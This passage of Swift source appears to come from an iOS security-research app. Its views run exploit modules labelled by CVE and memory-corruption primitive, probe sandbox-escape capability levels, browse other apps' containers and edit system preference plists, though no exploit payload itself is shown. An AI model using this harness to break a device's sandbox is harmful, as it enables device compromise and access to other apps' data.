let ctx = RunContext(workdir: workdir, journal: journal)
let started = Date()
DispatchQueue.global(qos: .userInitiated).async {
var out: ModuleOutcome
do {
out = try module.run(ctx)
} catch {
let message = (error as? LocalizedError)?.errorDescription ?? error.localizedDescription
ctx.fail(module.id, message)
out = ModuleOutcome(headline: tl("失败"), detail: message, failed: true)
}
out.elapsedMs = Int(Date().timeIntervalSince(started) * 1000)
let finished = out
let next = index + 1
DispatchQueue.main.async {
self.outcomes[module.id] = finished
self.running.remove(module.id)
self.log(finished.failed
? " ✗ \(module.title) — \(finished.detail)"
: " ✓ \(module.title) — \(finished.headline)")
self.runStage(modules, index: next, label: label)
}
}
}
}
+235
View File
@@ -0,0 +1,235 @@
import SwiftUI
extension Reach {
var tint: Color {
switch self {
case .inProcess: return T.good
case .systemProcess: return T.info
case .kernel: return T.bad
case .entitlementGated: return T.warn
case .radio: return T.violet
case .peripheral: return T.emberSoft
}
}
}
extension PrimitiveKind {
var tint: Color {
switch self {
case .oobWrite: return T.ember
case .oobRead: return T.warn
case .uaf: return T.bad
case .infoLeak: return T.violet
case .typeConfusion: return T.info
case .intOverflow: return T.emberSoft
case .probe: return .white.opacity(0.5)
}
}
}
extension LabVerdict {
var tint: Color {
switch self {
case .untested: return .white.opacity(0.3)
case .running: return T.info
case .completed: return T.good
case .refused: return T.warn
case .processDied: return T.ember
}
}
}
// MARK: - Lab
struct LabView: View {
@EnvironmentObject private var engine: LabEngine
@State private var selected: ExploitModule?
var body: some View {
NavigationStack {
ScrollView {
VStack(spacing: 18) {
ForEach(Catalog.groups, id: \.0) { group in
VStack(alignment: .leading, spacing: 8) {
SectionLabel(text: group.0)
ForEach(group.1) { module in
Button {
selected = module
} label: {
moduleRow(module)
}
.buttonStyle(.plain)
}
}
}
}
.padding(16)
}
.background(T.bg.ignoresSafeArea())
.navigationTitle(t("lab.title"))
.navigationBarTitleDisplayMode(.inline)
.sheet(item: $selected) { module in
ModuleDetailView(module: module)
.environmentObject(engine)
.presentationDetents([.large])
}
}
}
private func moduleRow(_ module: ExploitModule) -> some View {
let verdict = engine.journal.verdict(for: module.id)
let isRunning = engine.running.contains(module.id)
return VStack(alignment: .leading, spacing: 7) {
HStack(spacing: 8) {
Text(module.title)
.font(.system(size: 13.5, weight: .semibold, design: .rounded))
.foregroundColor(.white.opacity(0.92))
.lineLimit(2)
.multilineTextAlignment(.leading)
Spacer(minLength: 4)
if isRunning {
ProgressView().scaleEffect(0.6)
} else {
Pill(text: t(verdict.key), color: verdict.tint)
}
}
HStack(spacing: 6) {
Pill(text: module.primitive.label, color: module.primitive.tint)
Pill(text: module.reach.label, color: module.reach.tint)
Text(module.cve)
.font(T.monoSm)
.foregroundColor(.white.opacity(0.3))
.lineLimit(1)
}
Text(module.component)
.font(T.monoSm)
.foregroundColor(.white.opacity(0.28))
.lineLimit(1)
}
.padding(12)
.frame(maxWidth: .infinity, alignment: .leading)
.background(RoundedRectangle(cornerRadius: 12, style: .continuous).fill(T.panel))
.overlay(RoundedRectangle(cornerRadius: 12, style: .continuous).strokeBorder(T.stroke, lineWidth: 1))
}
}
struct ModuleDetailView: View {
let module: ExploitModule
@EnvironmentObject private var engine: LabEngine
@Environment(\.dismiss) private var dismiss
var body: some View {
NavigationStack {
ScrollView {
VStack(spacing: 14) {
Card {
VStack(alignment: .leading, spacing: 10) {
HStack(spacing: 6) {
Pill(text: module.primitive.label, color: module.primitive.tint)
Pill(text: module.reach.label, color: module.reach.tint)
Pill(text: "T\(module.tier)", color: .white.opacity(0.5))
}
Text(module.title)
.font(.system(size: 19, weight: .bold, design: .rounded))
.foregroundColor(.white)
Text(module.component)
.font(T.mono)
.foregroundColor(.white.opacity(0.4))
Text(module.cve)
.font(T.mono)
.foregroundColor(T.emberSoft)
}
}
Card {
VStack(alignment: .leading, spacing: 8) {
SectionLabel(text: t("module.primitive"))
Text(module.summary)
.font(T.body)
.foregroundColor(.white.opacity(0.8))
.fixedSize(horizontal: false, vertical: true)
}
}
Card {
VStack(alignment: .leading, spacing: 8) {
SectionLabel(text: t("module.notes"))
Text(module.notes)
.font(T.body)
.foregroundColor(.white.opacity(0.65))
.fixedSize(horizontal: false, vertical: true)
}
}
if let outcome = engine.outcome(for: module.id) {
Card {
VStack(alignment: .leading, spacing: 8) {
HStack {
SectionLabel(text: t("module.result"))
Spacer()
Text("\(outcome.elapsedMs) ms").font(T.monoSm).foregroundColor(.white.opacity(0.3))
}
Text(outcome.headline)
.font(.system(size: 15, weight: .semibold, design: .rounded))
.foregroundColor(outcome.failed ? T.bad : T.good)
if !outcome.detail.isEmpty {
Text(outcome.detail)
.font(T.monoSm)
.foregroundColor(.white.opacity(0.6))
.fixedSize(horizontal: false, vertical: true)
}
ForEach(Array(outcome.evidence.enumerated()), id: \.offset) { _, line in
Text("· \(line)")
.font(T.monoSm)
.foregroundColor(.white.opacity(0.42))
}
}
}
}
let history = engine.journal.history(for: module.id)
if !history.isEmpty {
Card {
VStack(alignment: .leading, spacing: 6) {
SectionLabel(text: t("module.history"))
ForEach(history.suffix(6)) { entry in
HStack(spacing: 8) {
Text(entry.phase)
.font(T.monoSm)
.foregroundColor(entry.phase == "died" ? T.ember : .white.opacity(0.4))
.frame(width: 46, alignment: .leading)
Text(entry.detail)
.font(T.monoSm)
.foregroundColor(.white.opacity(0.35))
.lineLimit(1)
}
}
}
}
}
RunButton(title: engine.running.contains(module.id) ? t("module.running") : t("module.run"),
systemImage: "bolt.fill",
tint: module.primitive.tint,
disabled: engine.running.contains(module.id)) {
engine.run(module)
}
Text(t("module.warning"))
.font(T.tiny)
.foregroundColor(.white.opacity(0.32))
.fixedSize(horizontal: false, vertical: true)
}
.padding(16)
}
.background(T.bg.ignoresSafeArea())
.navigationTitle(t("tab.lab"))
.navigationBarTitleDisplayMode(.inline)
.toolbar {
ToolbarItem(placement: .topBarTrailing) {
Button(t("module.close")) { dismiss() }.tint(T.ember)
}
}
}
}
}
+305
View File
@@ -0,0 +1,305 @@
import Foundation
import Combine
struct FileItem: Identifiable, Hashable {
var id: String { path }
let name: String
let path: String
let isDirectory: Bool
let size: Int64
let modified: Date?
let isSymlink: Bool
var icon: String {
if isDirectory { return "folder.fill" }
switch (name as NSString).pathExtension.lowercased() {
case "plist": return "list.bullet.rectangle"
case "db", "sqlite", "sqlite3": return "cylinder.split.1x2"
case "ipa", "deb", "zip", "tar", "gz", "xz": return "shippingbox.fill"
case "dylib", "so": return "puzzlepiece.extension"
case "png", "jpg", "jpeg", "heic", "gif": return "photo"
case "json", "xml", "strings", "txt", "log": return "doc.text"
case "mobileprovision": return "checkmark.seal"
case "car", "nib", "storyboardc": return "square.stack.3d.up"
default: return "doc"
}
}
var displaySize: String {
if isDirectory { return "—" }
let f = ByteCountFormatter()
f.countStyle = .file
return f.string(fromByteCount: size)
}
}
final class FileBrowser: ObservableObject {
@Published private(set) var path: String
@Published private(set) var items: [FileItem] = []
@Published private(set) var error: String?
@Published private(set) var writable: Bool = false
private let fm = FileManager.default
init(path: String) {
self.path = Container.normalize(path)
reload()
}
func reload() {
var isDir: ObjCBool = false
guard fm.fileExists(atPath: path, isDirectory: &isDir), isDir.boolValue else {
items = []
error = Container.describe(ENOENT)
return
}
writable = Container.probe(URL(fileURLWithPath: path, isDirectory: true)).canWrite
do {
let names = try fm.contentsOfDirectory(atPath: path)
var list: [FileItem] = []
for name in names {
let full = (path as NSString).appendingPathComponent(name)
var dirFlag: ObjCBool = false
let exists = fm.fileExists(atPath: full, isDirectory: &dirFlag)
let attrs = try? fm.attributesOfItem(atPath: full)
let size = (attrs?[.size] as? NSNumber)?.int64Value ?? 0
let modified = attrs?[.modificationDate] as? Date
let symlink = (try? fm.destinationOfSymbolicLink(atPath: full)) != nil
list.append(FileItem(name: name, path: full,
isDirectory: exists && dirFlag.boolValue,
size: size, modified: modified, isSymlink: symlink))
}
items = list.sorted {
if $0.isDirectory != $1.isDirectory { return $0.isDirectory }
return $0.name.localizedStandardCompare($1.name) == .orderedAscending
}
error = nil
} catch {
items = []
let code = errno
self.error = "\(Container.describe(code)) · \(path)"
}
}
func enter(_ item: FileItem) {
guard item.isDirectory else { return }
path = item.path
reload()
}
func up() {
guard path != "/" else { return }
path = (path as NSString).deletingLastPathComponent
if path.isEmpty { path = "/" }
reload()
}
func chdir(_ newPath: String) {
path = Container.normalize(newPath)
reload()
}
@discardableResult
func delete(_ item: FileItem) -> String? {
do { try fm.removeItem(atPath: item.path); reload(); return nil }
catch { return error.localizedDescription }
}
@discardableResult
func makeDirectory(_ name: String) -> String? {
let target = (path as NSString).appendingPathComponent(name)
do {
try fm.createDirectory(atPath: target, withIntermediateDirectories: true)
// prove it took, rather than trusting the call
let probe = Container.probe(URL(fileURLWithPath: target, isDirectory: true))
reload()
return probe.ok ? nil : tl("已创建但探针失败: ") + "\(probe.note)"
} catch {
let code = errno
return "\(Container.describe(code)) · \(target)"
}
}
@discardableResult
func rename(_ item: FileItem, to newName: String) -> String? {
let dest = (path as NSString).appendingPathComponent(newName)
do { try fm.moveItem(atPath: item.path, toPath: dest); reload(); return nil }
catch { let code = errno; return "\(Container.describe(code)) · \(dest)" }
}
func fileInfo(_ item: FileItem) -> [(String, String)] {
var rows: [(String, String)] = []
rows.append((t("files.path"), item.path))
rows.append(("Type", item.isDirectory ? "dir" : ((item.name as NSString).pathExtension.isEmpty ? "file" : (item.name as NSString).pathExtension)))
rows.append(("Size", item.isDirectory ? "—" : "\(item.size) B"))
if let m = item.modified { rows.append(("Modified", Self.dateFormatter.string(from: m))) }
if let attrs = try? fm.attributesOfItem(atPath: item.path) {
if let perm = attrs[.posixPermissions] as? NSNumber {
rows.append(("Mode", String(perm.intValue, radix: 8)))
}
if let owner = attrs[.ownerAccountName] as? String { rows.append(("Owner", owner)) }
}
let xattrs = listxattrs(item.path)
rows.append((t("pane.xattr"), xattrs.isEmpty ? t("common.none") : xattrs.joined(separator: ", ")))
return rows
}
private func listxattrs(_ path: String) -> [String] {
let name = path
var size = listxattr(name, nil, 0, 0)
guard size > 0 else { return [] }
var buffer = [CChar](repeating: 0, count: size)
size = listxattr(name, &buffer, size, 0)
guard size > 0 else { return [] }
var out: [String] = []
var current: [CChar] = []
for c in buffer {
if c == 0 {
if !current.isEmpty { out.append(String(cString: current)); current = [] }
} else {
current.append(c)
}
}
return out
}
static let dateFormatter: DateFormatter = {
let f = DateFormatter()
f.dateFormat = "yyyy-MM-dd HH:mm:ss"
return f
}()
}
// MARK: - Text / plist / hex
enum FileKind {
case text, plist, binary, image
}
enum FileLoader {
static func kind(of path: String) -> FileKind {
let ext = (path as NSString).pathExtension.lowercased()
if ["plist", "strings", "xml", "json", "txt", "log", "conf", "cfg", "sh", "py", "swift", "c", "h", "mm", "js"].contains(ext) {
return ext == "plist" ? .plist : .text
}
if ["png", "jpg", "jpeg", "gif", "heic", "webp"].contains(ext) { return .image }
return .binary
}
static func text(at path: String, limit: Int = 400_000) -> String? {
guard let handle = FileHandle(forReadingAtPath: path) else { return nil }
defer { try? handle.close() }
let data = handle.readData(ofLength: limit)
if let s = String(data: data, encoding: .utf8) { return s }
if let s = String(data: data, encoding: .isoLatin1) { return s }
return nil
}
static func plist(at path: String) -> String? {
guard let data = try? Data(contentsOf: URL(fileURLWithPath: path)) else { return nil }
if let obj = try? PropertyListSerialization.propertyList(from: data, format: nil) {
if let xml = try? PropertyListSerialization.data(fromPropertyList: obj, format: .xml, options: 0),
let s = String(data: xml, encoding: .utf8) {
return s
}
return "\(obj)"
}
return nil
}
static func hexDump(at path: String, limit: Int = 8192) -> String? {
guard let data = try? Data(contentsOf: URL(fileURLWithPath: path)) else { return nil }
return hexdump(data, limit: limit)
}
@discardableResult
static func write(_ text: String, to path: String) -> String? {
do { try Container.write(text, to: path); return nil }
catch { let code = errno; return "\(Container.describe(code)) · \(path)" }
}
@discardableResult
static func write(_ data: Data, to path: String) -> String? {
do { try Container.write(data, to: path); return nil }
catch { let code = errno; return "\(Container.describe(code)) · \(path)" }
}
}
// MARK: - Package inspection (IPA / DEB / ZIP)
struct PackageEntry: Identifiable {
var id: String { name }
let name: String
let size: Int64
}
enum PackageTool {
static func isZip(_ path: String) -> Bool {
guard let h = FileHandle(forReadingAtPath: path) else { return false }
defer { try? h.close() }
let magic = h.readData(ofLength: 4)
return magic == Data([0x50, 0x4B, 0x03, 0x04]) || magic == Data([0x50, 0x4B, 0x05, 0x06])
}
/// Uses libarchive so IPA, DEB, tar and gzip all go through one path.
static func list(_ path: String) -> [PackageEntry] {
guard let data = try? Data(contentsOf: URL(fileURLWithPath: path)) else { return [] }
guard let (entries, _) = try? Runners.Archive.list(data) else { return [] }
return entries.map { line in
let parts = line.components(separatedBy: " (")
let name = parts.first ?? line
let sizeText = parts.count > 1 ? parts[1].replacingOccurrences(of: " B)", with: "") : "0"
return PackageEntry(name: name, size: Int64(sizeText) ?? 0)
}
}
static func extract(_ path: String, to directory: URL) -> String {
guard let data = try? Data(contentsOf: URL(fileURLWithPath: path)) else {
return tl("读取失败")
}
let result = Runners.Archive.extractAll(data, to: directory)
if result.count == 0 && result.errors == 0 { return result.status }
return "✓ \(result.count) / \(result.errors)"
}
}
// MARK: - Capability matrix
struct CapabilityRow: Identifiable {
var id: String { name }
let name: String
let level: String
let achieved: Bool
let detail: String
}
enum Capability {
static func matrix() -> [CapabilityRow] {
let canReadSystem = (try? FileManager.default.contentsOfDirectory(atPath: "/System/Library/Frameworks")) != nil
let canReadVar = (try? FileManager.default.contentsOfDirectory(atPath: "/private/var/mobile/Library")) != nil
let canReadOthers = (try? FileManager.default.contentsOfDirectory(atPath: "/private/var/mobile/Containers/Data/Application")) != nil
let canReadJB = FileManager.default.fileExists(atPath: "/private/var/jb")
let canLoadDylib = dlopen("/usr/lib/libarchive.2.dylib", RTLD_NOW) != nil
// L0 is fixed, not probed. The container is writable by construction — an app that
// cannot write its own Documents directory cannot run at all. Every probe we tried
// here (access(W_OK) on the container root, a create/write/fsync cycle inside it)
// measures the sandbox's answer about a *path*, not about the extension the process
// actually holds, and reports false on real hardware for a container that writes
// perfectly well. The honest baseline is the fact itself.
return [
CapabilityRow(name: t("cap.l0"), level: "L0", achieved: true,
detail: "~/Documents · ~/Library · ~/tmp"),
CapabilityRow(name: t("cap.l1"), level: "L1", achieved: canReadSystem,
detail: "/System/Library/Frameworks"),
CapabilityRow(name: t("cap.l2"), level: "L2", achieved: canReadVar,
detail: canReadVar ? t("cap.yes") : t("cap.no")),
CapabilityRow(name: t("cap.l3"), level: "L3", achieved: canReadOthers,
detail: canReadOthers ? t("cap.yes") : t("cap.no")),
CapabilityRow(name: t("cap.l4"), level: "L4", achieved: canLoadDylib,
detail: "libarchive.2.dylib"),
CapabilityRow(name: t("cap.l5"), level: "L5", achieved: canReadJB,
detail: canReadJB ? t("cap.yes") : t("cap.notJailbroken")),
]
}
}
+811
View File
@@ -0,0 +1,811 @@
import SwiftUI
import CryptoKit
// MARK: - Hashing helpers
extension Data {
var sha256Hex: String {
SHA256.hash(data: self).map { String(format: "%02x", $0) }.joined()
}
var sha1Hex: String {
Insecure.SHA1.hash(data: self).map { String(format: "%02x", $0) }.joined()
}
var md5Hex: String {
Insecure.MD5.hash(data: self).map { String(format: "%02x", $0) }.joined()
}
}
// MARK: - Apps
struct AppsPane: View {
@State private var apps: [InstalledApp] = []
@State private var query = ""
@State private var selected: InstalledApp?
@State private var loading = true
private var filtered: [InstalledApp] {
guard !query.isEmpty else { return apps }
return apps.filter {
$0.displayName.localizedCaseInsensitiveContains(query) ||
$0.bundleID.localizedCaseInsensitiveContains(query)
}
}
var body: some View {
VStack(spacing: 0) {
HStack {
Image(systemName: "magnifyingglass").font(.system(size: 12)).foregroundColor(.white.opacity(0.3))
TextField("bundle id / name", text: $query)
.font(T.body)
.textInputAutocapitalization(.never)
.autocorrectionDisabled()
if loading { ProgressView().scaleEffect(0.6) }
Text("\(filtered.count)").font(T.monoSm).foregroundColor(.white.opacity(0.25))
}
.padding(10)
.background(RoundedRectangle(cornerRadius: 10).fill(T.panel))
.padding(.horizontal, 16)
List {
ForEach(filtered) { app in
Button { selected = app } label: {
HStack(spacing: 10) {
Image(systemName: app.isSystem ? "gearshape.2.fill" : "app.fill")
.font(.system(size: 13))
.foregroundColor(app.isSystem ? T.info : T.ember)
.frame(width: 20)
VStack(alignment: .leading, spacing: 2) {
Text(app.displayName).font(T.body).foregroundColor(.white.opacity(0.88))
Text(app.bundleID).font(T.monoSm).foregroundColor(.white.opacity(0.32))
.lineLimit(1).truncationMode(.middle)
}
Spacer()
if !app.version.isEmpty {
Text(app.version).font(T.monoSm).foregroundColor(.white.opacity(0.25))
}
}
}
.listRowBackground(T.panel)
}
}
.listStyle(.plain)
.scrollContentBackground(.hidden)
}
.onAppear {
guard apps.isEmpty else { return }
DispatchQueue.global(qos: .userInitiated).async {
let list = AppCensus.installed()
DispatchQueue.main.async { apps = list; loading = false }
}
}
.sheet(item: $selected) { app in
AppDetailView(app: app).presentationDetents([.large])
}
}
}
struct AppDetailView: View {
let app: InstalledApp
@Environment(\.dismiss) private var dismiss
@State private var files: [String] = []
@State private var note = ""
var body: some View {
NavigationStack {
ScrollView {
VStack(spacing: 14) {
Card {
VStack(alignment: .leading, spacing: 2) {
SectionLabel(text: t("pane.apps"))
KeyValueRow(key: t("files.name"), value: app.displayName, mono: false)
KeyValueRow(key: "Bundle ID", value: app.bundleID)
KeyValueRow(key: "Version", value: app.version.isEmpty ? "—" : app.version)
KeyValueRow(key: "Type", value: app.isSystem ? "System" : (app.isPlaceholder ? "Placeholder" : "User"))
}
}
Card {
VStack(alignment: .leading, spacing: 2) {
SectionLabel(text: "Container")
KeyValueRow(key: "Bundle", value: app.bundlePath.isEmpty ? "—" : app.bundlePath)
KeyValueRow(key: "Data", value: app.dataPath.isEmpty ? "—" : app.dataPath)
}
}
Card {
VStack(alignment: .leading, spacing: 6) {
SectionLabel(text: "Contents")
if files.isEmpty {
Text(note.isEmpty ? t("cap.no") : note)
.font(T.monoSm).foregroundColor(.white.opacity(0.4))
} else {
ForEach(files, id: \.self) { line in
Text(line).font(T.monoSm).foregroundColor(.white.opacity(0.6))
}
}
}
}
}
.padding(16)
}
.background(T.bg.ignoresSafeArea())
.navigationTitle(app.displayName)
.navigationBarTitleDisplayMode(.inline)
.toolbar {
ToolbarItem(placement: .topBarTrailing) {
Button(t("module.close")) { dismiss() }.tint(T.ember)
}
}
.onAppear(perform: load)
}
}
private func load() {
guard !app.dataPath.isEmpty else { note = "no data container"; return }
do {
files = try FileManager.default.contentsOfDirectory(atPath: app.dataPath).sorted()
} catch {
note = "\(Container.describe(errno))"
}
}
}
// MARK: - Preferences
struct PrefsPane: View {
@State private var entries: [FileItem] = []
@State private var current = ""
@State private var editing: FileItem?
@State private var status = ""
private let candidates = [
"/private/var/mobile/Library/Preferences",
"/private/var/mobile/Library/Preferences/com.apple.springboard.plist",
"/private/var/mobile/Library/Preferences/com.apple.Accessibility.plist",
"/private/var/mobile/Library/Preferences/com.apple.UIKit.plist",
"/private/var/mobile/Library/Preferences/com.apple.keyboard.plist",
]
var body: some View {
VStack(spacing: 0) {
ScrollView(.horizontal, showsIndicators: false) {
HStack(spacing: 7) {
ForEach(candidates, id: \.self) { path in
Button { load(path) } label: {
Pill(text: (path as NSString).lastPathComponent,
color: current == path ? T.ember : .white.opacity(0.45))
}
}
}
.padding(.horizontal, 16).padding(.vertical, 8)
}
if !status.isEmpty {
Text(status).font(T.monoSm).foregroundColor(T.warn)
.frame(maxWidth: .infinity, alignment: .leading)
.padding(.horizontal, 16).padding(.bottom, 6)
.fixedSize(horizontal: false, vertical: true)
}
List {
ForEach(entries) { item in
Button { editing = item } label: {
HStack(spacing: 10) {
Image(systemName: item.isDirectory ? "folder.fill" : "list.bullet.rectangle")
.font(.system(size: 12))
.foregroundColor(item.isDirectory ? T.ember : .white.opacity(0.4))
.frame(width: 18)
Text(item.name).font(T.body).foregroundColor(.white.opacity(0.85)).lineLimit(1)
Spacer()
Text(item.displaySize).font(T.monoSm).foregroundColor(.white.opacity(0.25))
}
}
.listRowBackground(T.panel)
}
}
.listStyle(.plain)
.scrollContentBackground(.hidden)
}
.onAppear { if current.isEmpty { load(candidates[0]) } }
.sheet(item: $editing) { item in
PlistEditorView(item: item).presentationDetents([.large])
}
}
private func load(_ path: String) {
current = path
entries = []
status = ""
let fm = FileManager.default
var isDir: ObjCBool = false
guard fm.fileExists(atPath: path, isDirectory: &isDir) else {
status = "\(path) — \(Container.describe(ENOENT))"
return
}
if isDir.boolValue {
guard let names = try? fm.contentsOfDirectory(atPath: path) else {
status = "\(path) — \(Container.describe(errno))"
return
}
entries = names.compactMap { name -> FileItem? in
let full = (path as NSString).appendingPathComponent(name)
var d: ObjCBool = false
_ = fm.fileExists(atPath: full, isDirectory: &d)
let size = ((try? fm.attributesOfItem(atPath: full))?[.size] as? NSNumber)?.int64Value ?? 0
return FileItem(name: name, path: full, isDirectory: d.boolValue, size: size,
modified: nil, isSymlink: false)
}.sorted { $0.name < $1.name }
if entries.isEmpty { status = t("files.empty") }
} else {
let size = ((try? fm.attributesOfItem(atPath: path))?[.size] as? NSNumber)?.int64Value ?? 0
entries = [FileItem(name: (path as NSString).lastPathComponent, path: path,
isDirectory: false, size: size, modified: nil, isSymlink: false)]
}
}
}
struct PlistEditorView: View {
let item: FileItem
@Environment(\.dismiss) private var dismiss
@State private var text = ""
@State private var editable = false
@State private var status = ""
@State private var dirty = false
var body: some View {
NavigationStack {
VStack(spacing: 0) {
if !status.isEmpty {
Text(status).font(T.monoSm)
.foregroundColor(status.hasPrefix("✓") ? T.good : T.warn)
.frame(maxWidth: .infinity, alignment: .leading)
.padding(.horizontal, 16).padding(.vertical, 6)
.fixedSize(horizontal: false, vertical: true)
}
TextEditor(text: $text)
.font(.system(size: 11, design: .monospaced))
.scrollContentBackground(.hidden)
.background(T.bg)
.disabled(!editable)
.onChange(of: text) { _, _ in dirty = true }
}
.background(T.bg.ignoresSafeArea())
.navigationTitle(item.name)
.navigationBarTitleDisplayMode(.inline)
.toolbar {
ToolbarItem(placement: .topBarLeading) {
Button(editable ? "RO" : "Edit") { editable.toggle() }.tint(T.ember)
}
ToolbarItem(placement: .topBarTrailing) {
Button(t("files.save")) { save() }
.tint(dirty && editable ? T.ember : .white.opacity(0.3))
.disabled(!editable || !dirty)
}
}
.onAppear(perform: load)
}
}
private func load() {
if let s = FileLoader.plist(at: item.path) ?? FileLoader.text(at: item.path) {
text = s
editable = true
status = "\(s.count) chars"
} else {
text = FileLoader.hexDump(at: item.path) ?? "—"
status = "binary"
}
dirty = false
}
private func save() {
guard let data = text.data(using: .utf8) else { return }
if item.name.hasSuffix(".plist"),
(try? PropertyListSerialization.propertyList(from: data, format: nil)) == nil {
status = "plist syntax error — not written"
return
}
let backup = item.path + ".cinder27.bak"
if !FileManager.default.fileExists(atPath: backup) {
try? FileManager.default.copyItem(atPath: item.path, toPath: backup)
}
do {
try Container.write(data, to: item.path)
status = "✓ \(t("files.save"))"
dirty = false
} catch {
status = Container.describe(errno)
}
}
}
// MARK: - Processes
struct ProcessPane: View {
@State private var procs: [ProcInfo] = []
@State private var query = ""
private var filtered: [ProcInfo] {
guard !query.isEmpty else { return procs }
return procs.filter { $0.name.localizedCaseInsensitiveContains(query) || "\($0.pid)" == query }
}
var body: some View {
VStack(spacing: 0) {
HStack {
Image(systemName: "magnifyingglass").font(.system(size: 12)).foregroundColor(.white.opacity(0.3))
TextField("pid / name", text: $query).font(T.body)
.textInputAutocapitalization(.never).autocorrectionDisabled()
Text("\(procs.count)").font(T.monoSm).foregroundColor(.white.opacity(0.3))
}
.padding(10)
.background(RoundedRectangle(cornerRadius: 10).fill(T.panel))
.padding(.horizontal, 16)
List {
ForEach(filtered) { p in
HStack(spacing: 10) {
Text("\(p.pid)").font(T.monoSm).foregroundColor(.white.opacity(0.3))
.frame(width: 44, alignment: .leading)
Text(p.name).font(T.mono).foregroundColor(.white.opacity(0.85)).lineLimit(1)
Spacer()
Text("uid \(p.uid)").font(T.monoSm).foregroundColor(.white.opacity(0.25))
}
.listRowBackground(T.panel)
}
}
.listStyle(.plain)
.scrollContentBackground(.hidden)
}
.onAppear { procs = ProcList.snapshot() }
}
}
// MARK: - Daemons
struct DaemonPane: View {
@State private var daemons: [LaunchCensus.Daemon] = []
@State private var query = ""
private var filtered: [LaunchCensus.Daemon] {
guard !query.isEmpty else { return daemons }
return daemons.filter { $0.label.localizedCaseInsensitiveContains(query) }
}
var body: some View {
VStack(spacing: 0) {
HStack {
Image(systemName: "magnifyingglass").font(.system(size: 12)).foregroundColor(.white.opacity(0.3))
TextField("label", text: $query).font(T.body)
.textInputAutocapitalization(.never).autocorrectionDisabled()
Text("\(daemons.count)").font(T.monoSm).foregroundColor(.white.opacity(0.3))
}
.padding(10)
.background(RoundedRectangle(cornerRadius: 10).fill(T.panel))
.padding(.horizontal, 16)
List {
ForEach(filtered) { d in
VStack(alignment: .leading, spacing: 3) {
HStack(spacing: 6) {
Text(d.label).font(T.mono).foregroundColor(.white.opacity(0.85)).lineLimit(1)
if d.runAtLoad { Pill(text: "RunAtLoad", color: T.good) }
if d.keepAlive { Pill(text: "KeepAlive", color: T.info) }
}
Text(d.program.isEmpty ? d.path : d.program)
.font(T.monoSm).foregroundColor(.white.opacity(0.3))
.lineLimit(1).truncationMode(.middle)
}
.listRowBackground(T.panel)
}
}
.listStyle(.plain)
.scrollContentBackground(.hidden)
}
.onAppear { daemons = LaunchCensus.daemons() }
}
}
// MARK: - Crashes
struct CrashPane: View {
@State private var reports: [CrashReport] = []
@State private var selected: CrashReport?
var body: some View {
List {
if reports.isEmpty {
Text("No crash reports in reachable paths.")
.font(T.monoSm).foregroundColor(.white.opacity(0.4))
.listRowBackground(T.panel)
}
ForEach(reports) { r in
Button { selected = r } label: {
VStack(alignment: .leading, spacing: 3) {
HStack {
Text(r.process.isEmpty ? r.name : r.process)
.font(T.mono).foregroundColor(.white.opacity(0.88))
Spacer()
if let d = r.date {
Text(FileBrowser.dateFormatter.string(from: d))
.font(T.monoSm).foregroundColor(.white.opacity(0.25))
}
}
if !r.exception.isEmpty {
Text(r.exception).font(T.monoSm).foregroundColor(T.emberSoft).lineLimit(2)
}
if !r.faultingSymbol.isEmpty {
Text(r.faultingSymbol).font(T.monoSm).foregroundColor(.white.opacity(0.35)).lineLimit(1)
}
}
}
.listRowBackground(T.panel)
}
}
.listStyle(.plain)
.scrollContentBackground(.hidden)
.onAppear { reports = CrashLogs.list() }
.sheet(item: $selected) { r in
NavigationStack {
ScrollView {
VStack(alignment: .leading, spacing: 10) {
Card {
VStack(alignment: .leading, spacing: 2) {
KeyValueRow(key: "Process", value: r.process)
KeyValueRow(key: "Exception", value: r.exception)
KeyValueRow(key: "Size", value: "\(r.size) B")
}
}
Card {
VStack(alignment: .leading, spacing: 3) {
SectionLabel(text: "Frames")
ForEach(Array(r.frames.enumerated()), id: \.offset) { i, f in
Text("\(i) \(f)").font(T.monoSm).foregroundColor(.white.opacity(0.7))
}
}
}
}
.padding(16)
}
.background(T.bg.ignoresSafeArea())
.navigationTitle(r.name)
.navigationBarTitleDisplayMode(.inline)
}
}
}
}
// MARK: - Binary
struct BinaryPane: View {
@State private var path = ""
@State private var info: MachOInfo?
@State private var error = ""
private let presets: [(String, String)] = [
("CoreGraphics", "/System/Library/Frameworks/CoreGraphics.framework/CoreGraphics"),
("CoreMedia", "/System/Library/Frameworks/CoreMedia.framework/CoreMedia"),
("libarchive", "/usr/lib/libarchive.2.dylib"),
("ImageIO", "/System/Library/Frameworks/ImageIO.framework/ImageIO"),
("libsystem_sandbox", "/usr/lib/system/libsystem_sandbox.dylib"),
("Self", Bundle.main.executablePath ?? ""),
]
var body: some View {
ScrollView {
VStack(spacing: 14) {
ScrollView(.horizontal, showsIndicators: false) {
HStack(spacing: 7) {
ForEach(presets, id: \.0) { p in
Button { path = p.1; inspect() } label: {
Pill(text: p.0, color: .white.opacity(0.5))
}
}
}
}
HStack(spacing: 8) {
TextField("/path/to/binary", text: $path)
.font(T.monoSm)
.textInputAutocapitalization(.never)
.autocorrectionDisabled()
.padding(9)
.background(RoundedRectangle(cornerRadius: 8).fill(T.panel))
Button(t("common.ok")) { inspect() }
.font(.system(size: 12, weight: .semibold))
.tint(T.ember)
}
if !error.isEmpty {
Text(error).font(T.monoSm).foregroundColor(T.warn)
.frame(maxWidth: .infinity, alignment: .leading)
}
if let info = info {
Card {
VStack(alignment: .leading, spacing: 2) {
SectionLabel(text: "Mach-O")
KeyValueRow(key: "Arch", value: info.isFat ? "FAT" : info.arch)
KeyValueRow(key: "Type", value: info.fileType)
KeyValueRow(key: "Platform", value: info.platform)
KeyValueRow(key: "MinOS", value: info.minOS)
KeyValueRow(key: "SDK", value: info.sdk)
KeyValueRow(key: "Crypt", value: info.isEncrypted ? "encrypted (\(info.cryptID))" : "plain",
tint: info.isEncrypted ? T.ember : T.good)
}
}
if !info.linkedLibraries.isEmpty {
Card {
VStack(alignment: .leading, spacing: 4) {
SectionLabel(text: "Libraries (\(info.linkedLibraries.count))")
ForEach(info.linkedLibraries.prefix(40), id: \.self) { lib in
Text(lib).font(T.monoSm).foregroundColor(.white.opacity(0.6))
}
}
}
}
if !info.rpaths.isEmpty {
Card {
VStack(alignment: .leading, spacing: 4) {
SectionLabel(text: "RPATH")
ForEach(info.rpaths, id: \.self) { r in
Text(r).font(T.monoSm).foregroundColor(.white.opacity(0.6))
}
}
}
}
}
}
.padding(16)
}
}
private func inspect() {
error = ""
info = nil
guard FileManager.default.fileExists(atPath: path) else {
error = Container.describe(ENOENT)
return
}
if let result = MachOInspector.inspect(path) {
info = result
